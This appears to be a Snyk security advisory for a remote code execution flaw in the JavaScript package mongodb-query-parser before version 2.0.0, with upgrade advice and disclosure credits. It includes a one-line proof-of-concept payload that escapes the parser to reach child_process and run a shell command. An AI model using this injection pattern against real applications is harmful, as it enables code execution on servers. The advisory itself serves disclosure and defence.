Remote Code Execution (RCE) Affecting mongodb-query-parser package, versions <2.0.0
Threat Intelligence
Exploit Maturity
Proof of concept
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-MONGODBQUERYPARSER-548939
- published 18 Feb 2020
- disclosed 17 Feb 2020
- credit Ben Selwyn-Smith
How to fix?
Upgrade mongodb-query-parser to version 2.0.0 or higher.
Overview
mongodb-query-parser is a library for safe parsing and validation for MongoDB queries.
Affected versions of this package are vulnerable to Remote Code Execution (RCE). Does not sanitize queries from function declarations, ternary and comma syntax.
PoC
Parsing the following payload executes touch test-file:
'(function () { return (clearImmediate.constructor("return process;")()).mainModule.require("child_process").execSync("touch test-file").toString()})()'
References
CVSS Scores
version 3.1